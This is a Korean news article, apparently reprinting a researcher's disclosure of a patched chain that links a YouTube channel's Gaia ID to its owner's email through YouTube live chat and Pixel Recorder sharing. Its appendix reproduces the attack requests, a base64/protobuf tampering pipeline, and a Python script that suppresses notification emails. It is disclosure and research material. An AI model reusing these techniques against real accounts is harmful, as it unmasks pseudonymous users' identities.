
보안 연구자는 유튜브 채널의 구글 계정 식별자를 알아낸 뒤, 구글 Pixel Recorder의 취약한 공유 기능을 이용해 이메일 주소를 확인할 수 있는 공격 경로를 발견했다고 밝혔다. 구글은 두 취약점을 수정했으며, 제보자에게 총 1만633달러를 지급했다.
유튜브 라이브 채팅 메뉴를 여는 요청에는 대상 채널의 ID가 포함됐다. 연구자는 요청 매개변수를 조작해 라이브 채팅 메시지가 없는 자동 생성 주제 채널에서도 구글 계정의 난독화된 식별자(Gaia ID)를 알아낼 수 있었다고 설명했다.
이어 Pixel Recorder에서 녹음 파일을 공유하는 기능이 Gaia ID를 받아 이메일 주소를 반환하는 점을 확인했다. 공유 알림 이메일이 대상에게 전송되는 것을 막기 위해 녹음 제목을 250만 글자로 늘렸고, 이 경우 알림 이메일이 오지 않았다고 연구자는 밝혔다. 이 방법으로 유튜브 채널의 Gaia ID를 이메일 주소와 연결할 수 있었다는 설명이다.
제보자는 2024년 9월 15일 구글에 취약점을 신고했다. 구글은 2024년 11월 5일 3,133달러를 지급했고, 12월 12일 추가로 7,500달러를 지급했다. 제보자는 2025년 2월 9일 두 취약점이 모두 수정됐다는 확인을 구글에 전달했으며, 2월 12일 내용을 공개했다.
부록: 원문 예시
"BlockedTarget": {
"id": "BlockedTarget",
"description": "The target of a user-to-user block, used to specify creation/deletion of blocks.",
"type": "object",
"properties": {
"profileId": {
"description": "Required. The obfuscated Gaia ID of the user targeted by the block.",
"type": "string"
},
"fallbackName": {
"description": "Required for `BlockPeopleRequest`. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: * Required for `BlockPeopleRequest` (may not currently be enforced by validation, but should be provided) * For `UnblockPeopleRequest` this does not need to be set.",
"type": "string"
}
}
},
POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2
Host: www.youtube.com
Cookie: <redacted>
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2
{
...
"serviceEndpoint": {
...
"commandMetadata": {
"webCommandMetadata": {
"sendPost": true,
"apiUrl": "/youtubei/v1/live_chat/moderate"
}
},
"moderateLiveChatEndpoint": {
"params": "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="
}
}
...
}
$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
10: 0
11: 1
12 {
1: "113907466537670370590"
2: "SE-aYOb-uCg059qHRis_ow"
}
14: 0
$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
3 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
6 {
1: "UCSE-aYOb-uCg059qHRis_ow"
}
$ echo -n "<SNIP>" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64
R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=
...
"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}
...
echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
10: 0
11: 1
12 {
1: "103261974221829892167"
2: "D2LZAT1j1DyVXq2R2BdusQ"
}
14: 0
POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2
Host: pixelrecorder-pa.clients6.google.com
Cookie: <redacted>
Content-Length: 80
Authorization: <redacted>
X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro
Content-Type: application/json+protobuf
Referer: https://recorder.google.com/
["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]
HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138
["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"vrptest2@gmail.com"]]]
HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138
["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"redacted@gmail.com"],[null,2,"vrptest2@gmail.com"]]]
syntax = "proto3";
package java.com.google.wireless.android.pixel.recorder.protos;
import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto";
message WriteShareListRequest {
string recording_id = 1;
string delete_obfuscated_gaia_ids = 2;
ShareUser update_shared_users = 3;
string sharing_message = 4;
}
message ShareUser {
string obfuscated_gaia_id = 1;
java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2;
string email = 3;
}
import requests
BASE_URL = "https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/"
headers = {
"Host": "pixelrecorder-pa.clients6.google.com",
"Content-Type": "application/json+protobuf",
"X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro",
"Origin": "https://recorder.google.com"
}
def get_recording_uuid(share_id: str):
payload = f"[\"{share_id}\"]"
response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload)
if response.status_code != 200:
print("unknown error when getting recording uuid: ", response.json())
exit(1)
try:
response = response.json()
except:
print('can\'t parse response when getting recording uuid: ', response.text)
exit(1)
return response["recording"]["uuid"]
def update_recording_title(share_id: str):
x = 'X'*2500000
payload = f'["{share_id}","{x}"]'
response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload)
if response.status_code != 200:
print("unknown error when updating recording title: ", response.json())
exit(1)
def main():
share_id = input("Enter share ID: ")
headers["Cookie"] = input("Cookie header:" )
headers["Authorization"] = input("Authorization header: ")
uuid = get_recording_uuid(share_id)
print("UUID:", uuid)
update_recording_title(uuid)
print("Updated recording title successfully.")
if __name__ == "__main__":
main()
댓글 (0)
로그인하면 이 기사에 내 생각을 남길 수 있어요